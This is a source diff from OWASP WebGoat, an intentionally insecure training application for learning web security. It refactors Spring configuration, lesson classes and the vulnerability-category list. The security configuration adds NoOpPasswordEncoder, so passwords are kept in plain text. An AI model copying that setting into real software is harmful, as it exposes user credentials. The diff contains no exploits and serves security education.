import org.thymeleaf.spring4.templateresolver.SpringResourceTemplateResolver;
|
||||
import org.thymeleaf.templateresolver.TemplateResolver;
|
||||
import org.thymeleaf.TemplateEngine;
|
||||
import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
|
||||
import org.thymeleaf.spring5.SpringTemplateEngine;
|
||||
import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
|
||||
import org.thymeleaf.spring5.view.ThymeleafViewResolver;
|
||||
import org.thymeleaf.templatemode.TemplateMode;
|
||||
import org.thymeleaf.templateresolver.ITemplateResolver;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.Set;
|
||||
|
||||
/**
|
||||
* Configuration for Spring MVC
|
||||
*/
|
||||
@Configuration
|
||||
public class MvcConfiguration extends WebMvcConfigurerAdapter {
|
||||
|
||||
@Autowired
|
||||
@Qualifier("pluginTargetDirectory")
|
||||
private File pluginTargetDirectory;
|
||||
public class MvcConfiguration implements WebMvcConfigurer {
|
||||
|
||||
private static final String UTF8 = "UTF-8";
|
||||
|
||||
@Override
|
||||
public void addViewControllers(ViewControllerRegistry registry) {
|
||||
@ -72,23 +72,33 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
|
||||
//registry.addViewController("/list_users").setViewName("list_users");
|
||||
}
|
||||
|
||||
@Bean
|
||||
public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
|
||||
ThymeleafViewResolver resolver = new ThymeleafViewResolver();
|
||||
resolver.setTemplateEngine(thymeleafTemplateEngine);
|
||||
resolver.setCharacterEncoding("UTF-8");
|
||||
return resolver;
|
||||
}
|
||||
|
||||
@Bean
|
||||
public TemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
|
||||
public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
|
||||
SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
|
||||
resolver.setPrefix("classpath:/templates/");
|
||||
resolver.setSuffix(".html");
|
||||
resolver.setOrder(1);
|
||||
resolver.setTemplateMode(TemplateMode.HTML);
|
||||
resolver.setOrder(2);
|
||||
resolver.setCacheable(false);
|
||||
resolver.setCharacterEncoding(UTF8);
|
||||
resolver.setApplicationContext(applicationContext);
|
||||
return resolver;
|
||||
}
|
||||
|
||||
@Bean
|
||||
public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
|
||||
LessonTemplateResolver resolver = new LessonTemplateResolver(pluginTargetDirectory, resourceLoader);
|
||||
resolver.setOrder(2);
|
||||
LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
|
||||
resolver.setOrder(0);
|
||||
resolver.setCacheable(false);
|
||||
resolver.setCharacterEncoding(UTF8);
|
||||
return resolver;
|
||||
}
|
||||
|
||||
@ -96,34 +106,29 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
|
||||
public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(Language language) {
|
||||
AsciiDoctorTemplateResolver resolver = new AsciiDoctorTemplateResolver(language);
|
||||
resolver.setCacheable(false);
|
||||
resolver.setOrder(3);
|
||||
resolver.setOrder(1);
|
||||
resolver.setCharacterEncoding(UTF8);
|
||||
return resolver;
|
||||
}
|
||||
|
||||
@Bean
|
||||
public SpringTemplateEngine thymeleafTemplateEngine(TemplateResolver springThymeleafTemplateResolver,
|
||||
public SpringTemplateEngine thymeleafTemplateEngine(ITemplateResolver springThymeleafTemplateResolver,
|
||||
LessonTemplateResolver lessonTemplateResolver,
|
||||
AsciiDoctorTemplateResolver asciiDoctorTemplateResolver) {
|
||||
SpringTemplateEngine engine = new SpringTemplateEngine();
|
||||
engine.setEnableSpringELCompiler(true);
|
||||
engine.addDialect(new SpringSecurityDialect());
|
||||
engine.setTemplateResolvers(
|
||||
Sets.newHashSet(springThymeleafTemplateResolver, lessonTemplateResolver, asciiDoctorTemplateResolver));
|
||||
Set.of(lessonTemplateResolver, asciiDoctorTemplateResolver, springThymeleafTemplateResolver));
|
||||
return engine;
|
||||
}
|
||||
|
||||
/**
|
||||
* This way we expose the plugins target directory as a resource within the web application.
|
||||
*
|
||||
* @param registry
|
||||
*/
|
||||
@Override
|
||||
public void addResourceHandlers(ResourceHandlerRegistry registry) {
|
||||
registry.addResourceHandler("/plugin_lessons/**").addResourceLocations("file:///" + pluginTargetDirectory.toString() + "/");
|
||||
registry.addResourceHandler("/images/**").addResourceLocations("classpath:/images/");
|
||||
registry.addResourceHandler("/lesson_js/**").addResourceLocations("classpath:/js/");
|
||||
registry.addResourceHandler("/lesson_css/**").addResourceLocations("classpath:/css/");
|
||||
registry.addResourceHandler("/video/**").addResourceLocations("classpath:/video/");
|
||||
super.addResourceHandlers(registry);
|
||||
}
|
||||
|
||||
@Bean
|
||||
|
@ -28,45 +28,22 @@
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.catalina.Context;
|
||||
import org.owasp.webgoat.plugins.PluginEndpointPublisher;
|
||||
import org.owasp.webgoat.plugins.PluginsLoader;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.session.WebgoatContext;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.boot.builder.SpringApplicationBuilder;
|
||||
import org.springframework.boot.context.embedded.EmbeddedServletContainerFactory;
|
||||
import org.springframework.boot.context.embedded.tomcat.TomcatContextCustomizer;
|
||||
import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletContainerFactory;
|
||||
import org.springframework.boot.web.support.SpringBootServletInitializer;
|
||||
import org.springframework.context.ApplicationContext;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.context.annotation.Scope;
|
||||
import org.springframework.context.annotation.ScopedProxyMode;
|
||||
import org.springframework.web.client.RestTemplate;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.Arrays;
|
||||
|
||||
@SpringBootApplication
|
||||
@Slf4j
|
||||
public class WebGoat extends SpringBootServletInitializer {
|
||||
|
||||
@Override
|
||||
protected SpringApplicationBuilder configure(SpringApplicationBuilder application) {
|
||||
return application.sources(WebGoat.class);
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
SpringApplication.run(WebGoat.class, args);
|
||||
}
|
||||
@Configuration
|
||||
public class WebGoat {
|
||||
|
||||
@Bean(name = "pluginTargetDirectory")
|
||||
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
|
||||
@ -75,8 +52,8 @@ public class WebGoat extends SpringBootServletInitializer {
|
||||
|
||||
@Bean
|
||||
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
|
||||
public WebSession webSession(WebgoatContext webgoatContext) {
|
||||
return new WebSession(webgoatContext);
|
||||
public WebSession webSession() {
|
||||
return new WebSession();
|
||||
}
|
||||
|
||||
@Bean
|
||||
@ -85,34 +62,8 @@ public class WebGoat extends SpringBootServletInitializer {
|
||||
return new UserSessionData("test", "data");
|
||||
}
|
||||
|
||||
@Bean
|
||||
public PluginEndpointPublisher pluginEndpointPublisher(ApplicationContext applicationContext) {
|
||||
return new PluginEndpointPublisher(applicationContext);
|
||||
}
|
||||
|
||||
@Bean
|
||||
public Course course(PluginEndpointPublisher pluginEndpointPublisher) {
|
||||
return new PluginsLoader(pluginEndpointPublisher).loadPlugins();
|
||||
}
|
||||
|
||||
@Bean
|
||||
public RestTemplate restTemplate() {
|
||||
return new RestTemplate();
|
||||
}
|
||||
|
||||
@Bean
|
||||
public EmbeddedServletContainerFactory servletContainer() {
|
||||
TomcatEmbeddedServletContainerFactory factory = new TomcatEmbeddedServletContainerFactory();
|
||||
factory.setTomcatContextCustomizers(Arrays.asList(new CustomCustomizer()));
|
||||
return factory;
|
||||
}
|
||||
|
||||
static class CustomCustomizer implements TomcatContextCustomizer {
|
||||
@Override
|
||||
public void customize(Context context) {
|
||||
context.setUseHttpOnly(false);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
@ -1,4 +1,3 @@
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
@ -28,6 +27,7 @@
|
||||
* @version $Id: $Id
|
||||
* @since December 12, 2015
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
@ -35,13 +35,14 @@ import org.owasp.webgoat.users.UserService;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
import org.springframework.security.authentication.AuthenticationManager;
|
||||
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
|
||||
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
||||
import org.springframework.security.config.annotation.web.builders.WebSecurity;
|
||||
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
||||
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
|
||||
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
|
||||
import org.springframework.security.core.userdetails.UserDetailsService;
|
||||
import org.springframework.security.crypto.password.NoOpPasswordEncoder;
|
||||
|
||||
/**
|
||||
* Security configuration for WebGoat.
|
||||
@ -58,8 +59,6 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
|
||||
.authorizeRequests()
|
||||
.antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "/registration", "/register.mvc").permitAll()
|
||||
.antMatchers("/servlet/AdminServlet/**").hasAnyRole("WEBGOAT_ADMIN", "SERVER_ADMIN") //
|
||||
.antMatchers("/JavaSource/**").hasRole("SERVER_ADMIN") //
|
||||
.anyRequest().authenticated();
|
||||
security.and()
|
||||
.formLogin()
|
||||
@ -76,12 +75,6 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||
http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
|
||||
}
|
||||
|
||||
//// TODO: 11/18/2016 make this a little bit more configurabe last part at least
|
||||
@Override
|
||||
public void configure(WebSecurity web) throws Exception {
|
||||
web.ignoring().antMatchers("/plugin_lessons/**", "/XXE/**");
|
||||
}
|
||||
|
||||
@Autowired
|
||||
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
|
||||
auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder());
|
||||
@ -92,4 +85,16 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||
public UserDetailsService userDetailsServiceBean() throws Exception {
|
||||
return userDetailsService;
|
||||
}
|
||||
|
||||
@Override
|
||||
@Bean
|
||||
protected AuthenticationManager authenticationManager() throws Exception {
|
||||
return super.authenticationManager();
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
@Bean
|
||||
public NoOpPasswordEncoder passwordEncoder() {
|
||||
return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();
|
||||
}
|
||||
}
|
@ -0,0 +1,18 @@
|
||||
package org.owasp.webgoat.asciidoc;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
import org.asciidoctor.ast.AbstractBlock;
|
||||
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||
|
||||
public class OperatingSystemMacro extends InlineMacroProcessor {
|
||||
|
||||
public OperatingSystemMacro(String macroName, Map<String, Object> config) {
|
||||
super(macroName, config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||
return System.getProperty("os.name");
|
||||
}
|
||||
}
|
@ -0,0 +1,17 @@
|
||||
package org.owasp.webgoat.asciidoc;
|
||||
|
||||
import org.asciidoctor.ast.AbstractBlock;
|
||||
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||
import java.util.Map;
|
||||
|
||||
public class WebGoatTmpDirMacro extends InlineMacroProcessor {
|
||||
|
||||
public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {
|
||||
super(macroName, config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||
return EnvironmentExposure.getEnv().getProperty("webgoat.server.directory");
|
||||
}
|
||||
}
|
@ -2,12 +2,6 @@ package org.owasp.webgoat.asciidoc;
|
||||
|
||||
import org.asciidoctor.ast.AbstractBlock;
|
||||
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||
import org.springframework.core.env.Environment;
|
||||
import org.springframework.util.StringUtils;
|
||||
import org.springframework.web.context.request.RequestContextHolder;
|
||||
import org.springframework.web.context.request.ServletRequestAttributes;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import java.util.Map;
|
||||
|
||||
public class WebGoatVersionMacro extends InlineMacroProcessor {
|
||||
@ -17,7 +11,7 @@ public class WebGoatVersionMacro extends InlineMacroProcessor {
|
||||
}
|
||||
|
||||
@Override
|
||||
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||
public String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||
return EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
|
||||
}
|
||||
}
|
||||
|
@ -23,7 +23,7 @@ public class WebWolfMacro extends InlineMacroProcessor {
|
||||
}
|
||||
|
||||
@Override
|
||||
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||
public String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||
Environment env = EnvironmentExposure.getEnv();
|
||||
String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
|
||||
|
||||
|
@ -22,38 +22,29 @@
|
||||
* projects.
|
||||
* <p>
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.assignments;
|
||||
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.users.UserTracker;
|
||||
import org.owasp.webgoat.users.UserTrackerRepository;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
|
||||
/**
|
||||
* Each lesson can define an endpoint which can support the lesson. So for example if you create a lesson which uses JavaScript and
|
||||
* needs to call out to the server to fetch data you can define an endpoint in that lesson. WebGoat will pick up this endpoint and
|
||||
* Spring will publish it.
|
||||
* </p>
|
||||
* Extend this class and implement the met
|
||||
* </p>
|
||||
* Note: each subclass should declare this annotation otherwise the WebGoat framework cannot find your endpoint.
|
||||
*/
|
||||
public abstract class AssignmentEndpoint extends Endpoint {
|
||||
public abstract class AssignmentEndpoint {
|
||||
|
||||
@Autowired
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
private WebSession webSession;
|
||||
@Autowired
|
||||
private UserSessionData userSessionData;
|
||||
@Getter
|
||||
@Autowired
|
||||
private PluginMessages messages;
|
||||
|
||||
//// TODO: 11/13/2016 events better fit?
|
||||
protected AttackResult trackProgress(AttackResult attackResult) {
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||
if (userTracker == null) {
|
||||
@ -67,26 +58,21 @@ public abstract class AssignmentEndpoint extends Endpoint {
|
||||
userTrackerRepository.save(userTracker);
|
||||
return attackResult;
|
||||
}
|
||||
|
||||
protected WebSession getWebSession() {
|
||||
return webSession;
|
||||
}
|
||||
|
||||
protected UserSessionData getUserSessionData() {
|
||||
return userSessionData;
|
||||
protected WebSession getWebSession() {
|
||||
return webSession;
|
||||
}
|
||||
|
||||
@Override
|
||||
public final String getPath() {
|
||||
return this.getClass().getAnnotationsByType(AssignmentPath.class)[0].value();
|
||||
protected UserSessionData getUserSessionData() {
|
||||
return userSessionData;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convenience method for create a successful result:
|
||||
*
|
||||
* <p>
|
||||
* - Assignment is set to solved
|
||||
* - Feedback message is set to 'assignment.solved'
|
||||
*
|
||||
* <p>
|
||||
* Of course you can overwrite these values in a specific lesson
|
||||
*
|
||||
* @return a builder for creating a result from a lesson
|
||||
@ -97,10 +83,10 @@ public abstract class AssignmentEndpoint extends Endpoint {
|
||||
|
||||
/**
|
||||
* Convenience method for create a failed result:
|
||||
*
|
||||
* <p>
|
||||
* - Assignment is set to not solved
|
||||
* - Feedback message is set to 'assignment.not.solved'
|
||||
*
|
||||
* <p>
|
||||
* Of course you can overwrite these values in a specific lesson
|
||||
*
|
||||
* @return a builder for creating a result from a lesson
|
||||
|
@ -1,5 +1,7 @@
|
||||
package org.owasp.webgoat.assignments;
|
||||
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
|
||||
import java.lang.annotation.ElementType;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.annotation.RetentionPolicy;
|
||||
@ -12,5 +14,9 @@ import java.lang.annotation.Target;
|
||||
@Retention(RetentionPolicy.RUNTIME)
|
||||
public @interface AssignmentPath {
|
||||
|
||||
String value();
|
||||
String[] path() default {};
|
||||
|
||||
RequestMethod[] method() default {};
|
||||
|
||||
String value() default "";
|
||||
}
|
||||
|
@ -28,9 +28,10 @@
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.controller;
|
||||
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.session.Course;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.security.core.context.SecurityContext;
|
||||
@ -79,8 +80,8 @@ public class StartLesson {
|
||||
//GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next();
|
||||
String path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
|
||||
String lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
|
||||
List<AbstractLesson> lessons = course.getLessons();
|
||||
Optional<AbstractLesson> lesson = lessons.stream()
|
||||
List<? extends Lesson> lessons = course.getLessons();
|
||||
Optional<? extends Lesson> lesson = lessons.stream()
|
||||
.filter(l -> l.getId().equals(lessonName))
|
||||
.findFirst();
|
||||
ws.setCurrentLesson(lesson.get());
|
||||
|
@ -28,6 +28,7 @@
|
||||
* @since October 28, 2003
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.controller;
|
||||
|
||||
import org.springframework.stereotype.Controller;
|
||||
|
@ -22,6 +22,7 @@
|
||||
* projects.
|
||||
* <p>
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.i18n;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
|
@ -25,9 +25,10 @@
|
||||
|
||||
package org.owasp.webgoat.i18n;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.springframework.context.support.ReloadableResourceBundleMessageSource;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.URISyntaxException;
|
||||
import java.net.URL;
|
||||
import java.util.Enumeration;
|
||||
import java.util.Properties;
|
||||
@ -50,18 +51,23 @@ public class PluginMessages extends ReloadableResourceBundleMessageSource {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
|
||||
Properties properties = new Properties();
|
||||
long lastModified = System.currentTimeMillis();
|
||||
|
||||
Enumeration<URL> resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
|
||||
while (resources.hasMoreElements()) {
|
||||
URL resource = resources.nextElement();
|
||||
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
|
||||
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
|
||||
properties.putAll(holder.getProperties());
|
||||
Enumeration<URL> resources = null;
|
||||
try {
|
||||
resources = Thread.currentThread().getContextClassLoader().getResources(filename + PROPERTIES_SUFFIX);
|
||||
while (resources.hasMoreElements()) {
|
||||
URL resource = resources.nextElement();
|
||||
String sourcePath = resource.toURI().toString().replace(PROPERTIES_SUFFIX, "");
|
||||
PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
|
||||
properties.putAll(holder.getProperties());
|
||||
}
|
||||
} catch (IOException | URISyntaxException e) {
|
||||
logger.error("Unable to read plugin message", e);
|
||||
}
|
||||
|
||||
return new PropertiesHolder(properties, lastModified);
|
||||
}
|
||||
|
||||
|
@ -1,9 +1,9 @@
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.*;
|
||||
|
||||
import javax.persistence.*;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
@ -45,6 +45,7 @@ public class Assignment {
|
||||
private Long id;
|
||||
private String name;
|
||||
private String path;
|
||||
|
||||
@Transient
|
||||
private List<String> hints;
|
||||
|
||||
@ -52,13 +53,27 @@ public class Assignment {
|
||||
//Hibernate
|
||||
}
|
||||
|
||||
public Assignment(String name, String path) {
|
||||
this(name, path, Lists.newArrayList());
|
||||
public Assignment(String name) {
|
||||
this(name, name, new ArrayList<>());
|
||||
}
|
||||
|
||||
public Assignment(String name, String path, List<String> hints) {
|
||||
if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) {
|
||||
throw new IllegalStateException("The path of assignment '" + name + "' overrides WebGoat endpoints, please choose a path within the scope of the lesson");
|
||||
}
|
||||
this.name = name;
|
||||
this.path = path;
|
||||
this.hints = hints;
|
||||
}
|
||||
|
||||
/**
|
||||
* Set path is here to overwrite stored paths.
|
||||
* Since a stored path can no longer be used in a lesson while
|
||||
* the lesson (name) itself is still part of the lesson.
|
||||
*
|
||||
* @param pathName the path
|
||||
*/
|
||||
public void setPath(String pathName) {
|
||||
this.path = pathName;
|
||||
}
|
||||
}
|
||||
|
@ -36,31 +36,40 @@ import lombok.Getter;
|
||||
*/
|
||||
public enum Category {
|
||||
|
||||
INTRODUCTION("Introduction", new Integer(5)),
|
||||
GENERAL("General", new Integer(100)),
|
||||
INJECTION("Injection Flaws", new Integer(200)),
|
||||
AUTHENTICATION("Authentication Flaws", new Integer(300)),
|
||||
XSS("Cross-Site Scripting (XSS)", new Integer(400)),
|
||||
REQ_FORGERIES("Request Forgeries", new Integer(450)),
|
||||
ACCESS_CONTROL("Access Control Flaws", new Integer(500)),
|
||||
INSECURE_CONFIGURATION("Insecure Configuration", new Integer(600)),
|
||||
INSECURE_COMMUNICATION("Insecure Communication", new Integer(700)),
|
||||
INSECURE_STORAGE("Insecure Storage", new Integer(800)),
|
||||
INSECURE_DESERIALIZATION("Insecure Deserialization", new Integer(850)),
|
||||
REQUEST_FORGERIES("Request Forgeries", new Integer(900)),
|
||||
VULNERABLE_COMPONENTS("Vulnerable Components - A9", new Integer(950)),
|
||||
AJAX_SECURITY("AJAX Security", new Integer(1000)),
|
||||
BUFFER_OVERFLOW("Buffer Overflows", new Integer(1100)),
|
||||
CODE_QUALITY("Code Quality", new Integer(1200)),
|
||||
CONCURRENCY("Concurrency", new Integer(1300)),
|
||||
ERROR_HANDLING("Improper Error Handling", new Integer(1400)),
|
||||
DOS("Denial of Service", new Integer(1500)),
|
||||
MALICIOUS_EXECUTION("Malicious Execution", new Integer(1600)),
|
||||
CLIENT_SIDE("Client side", new Integer(1700)),
|
||||
SESSION_MANAGEMENT("Session Management Flaws", new Integer(1800)),
|
||||
WEB_SERVICES("Web Services", new Integer(1900)),
|
||||
ADMIN_FUNCTIONS("Admin Functions", new Integer(2000)),
|
||||
CHALLENGE("Challenges", new Integer(3000));
|
||||
INTRODUCTION("Introduction", 5),
|
||||
GENERAL("General", 100),
|
||||
|
||||
INJECTION("(A1) Injection", 300),
|
||||
AUTHENTICATION("(A2) Broken Authentication", 302),
|
||||
INSECURE_COMMUNICATION("(A3) Sensitive Data Exposure", 303),
|
||||
XXE("(A4) XML External Entities (XXE)", 304),
|
||||
ACCESS_CONTROL("(A5) Broken Access Control", 305),
|
||||
|
||||
XSS("(A7) Cross-Site Scripting (XSS)", 307),
|
||||
INSECURE_DESERIALIZATION("(A8) Insecure Deserialization", 308),
|
||||
VULNERABLE_COMPONENTS("(A9) Vulnerable Components", 309),
|
||||
|
||||
REQUEST_FORGERIES("(A8:2013) Request Forgeries", 318),
|
||||
|
||||
|
||||
REQ_FORGERIES("Request Forgeries", 450),
|
||||
|
||||
INSECURE_CONFIGURATION("Insecure Configuration", 600),
|
||||
INSECURE_STORAGE("Insecure Storage", 800),
|
||||
|
||||
|
||||
AJAX_SECURITY("AJAX Security", 1000),
|
||||
BUFFER_OVERFLOW("Buffer Overflows", 1100),
|
||||
CODE_QUALITY("Code Quality", 1200),
|
||||
CONCURRENCY("Concurrency", 1300),
|
||||
ERROR_HANDLING("Improper Error Handling", 1400),
|
||||
DOS("Denial of Service", 1500),
|
||||
MALICIOUS_EXECUTION("Malicious Execution", 1600),
|
||||
CLIENT_SIDE("Client side", 1700),
|
||||
SESSION_MANAGEMENT("Session Management Flaws", 1800),
|
||||
WEB_SERVICES("Web Services", 1900),
|
||||
ADMIN_FUNCTIONS("Admin Functions", 2000),
|
||||
CHALLENGE("Challenges", 3000);
|
||||
|
||||
@Getter
|
||||
private String name;
|
||||
|
@ -24,10 +24,10 @@
|
||||
* projects.
|
||||
*
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
import lombok.Value;
|
||||
|
||||
/**
|
||||
* <p>Hint class.</p>
|
||||
@ -35,12 +35,9 @@ import lombok.Setter;
|
||||
* @author rlawson
|
||||
* @version $Id: $Id
|
||||
*/
|
||||
@Getter
|
||||
@Setter
|
||||
@Value
|
||||
public class Hint {
|
||||
|
||||
private String hint;
|
||||
private String lesson;
|
||||
private String assignmentPath;
|
||||
private int number;
|
||||
}
|
||||
|
@ -1,64 +1,46 @@
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.Setter;
|
||||
import org.owasp.webgoat.session.Screen;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* <p>
|
||||
* <p>
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
*
|
||||
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
|
||||
* @version $Id: $Id
|
||||
* @since October 28, 2003
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
public abstract class AbstractLesson extends Screen implements Comparable<Object> {
|
||||
|
||||
package org.owasp.webgoat.lessons;
|
||||
|
||||
import lombok.Getter;
|
||||
import lombok.Setter;
|
||||
import lombok.Singular;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
@Getter
|
||||
@Setter
|
||||
public abstract class Lesson {
|
||||
|
||||
private static int count = 1;
|
||||
|
||||
private Integer id = null;
|
||||
|
||||
private Integer ranking;
|
||||
|
||||
@Setter
|
||||
private List<Assignment> assignments;
|
||||
|
||||
public List<Assignment> getAssignments() {
|
||||
if (assignments == null) {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
return assignments;
|
||||
}
|
||||
|
||||
/**
|
||||
* Constructor for the Lesson object
|
||||
*/
|
||||
public AbstractLesson() {
|
||||
id = new Integer(++count);
|
||||
public Lesson() {
|
||||
id = ++count;
|
||||
}
|
||||
|
||||
|
||||
@ -72,34 +54,6 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
|
||||
return className.substring(className.lastIndexOf('.') + 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>Setter for the field <code>ranking</code>.</p>
|
||||
*
|
||||
* @param ranking a {@link java.lang.Integer} object.
|
||||
*/
|
||||
public void setRanking(Integer ranking) {
|
||||
this.ranking = ranking;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
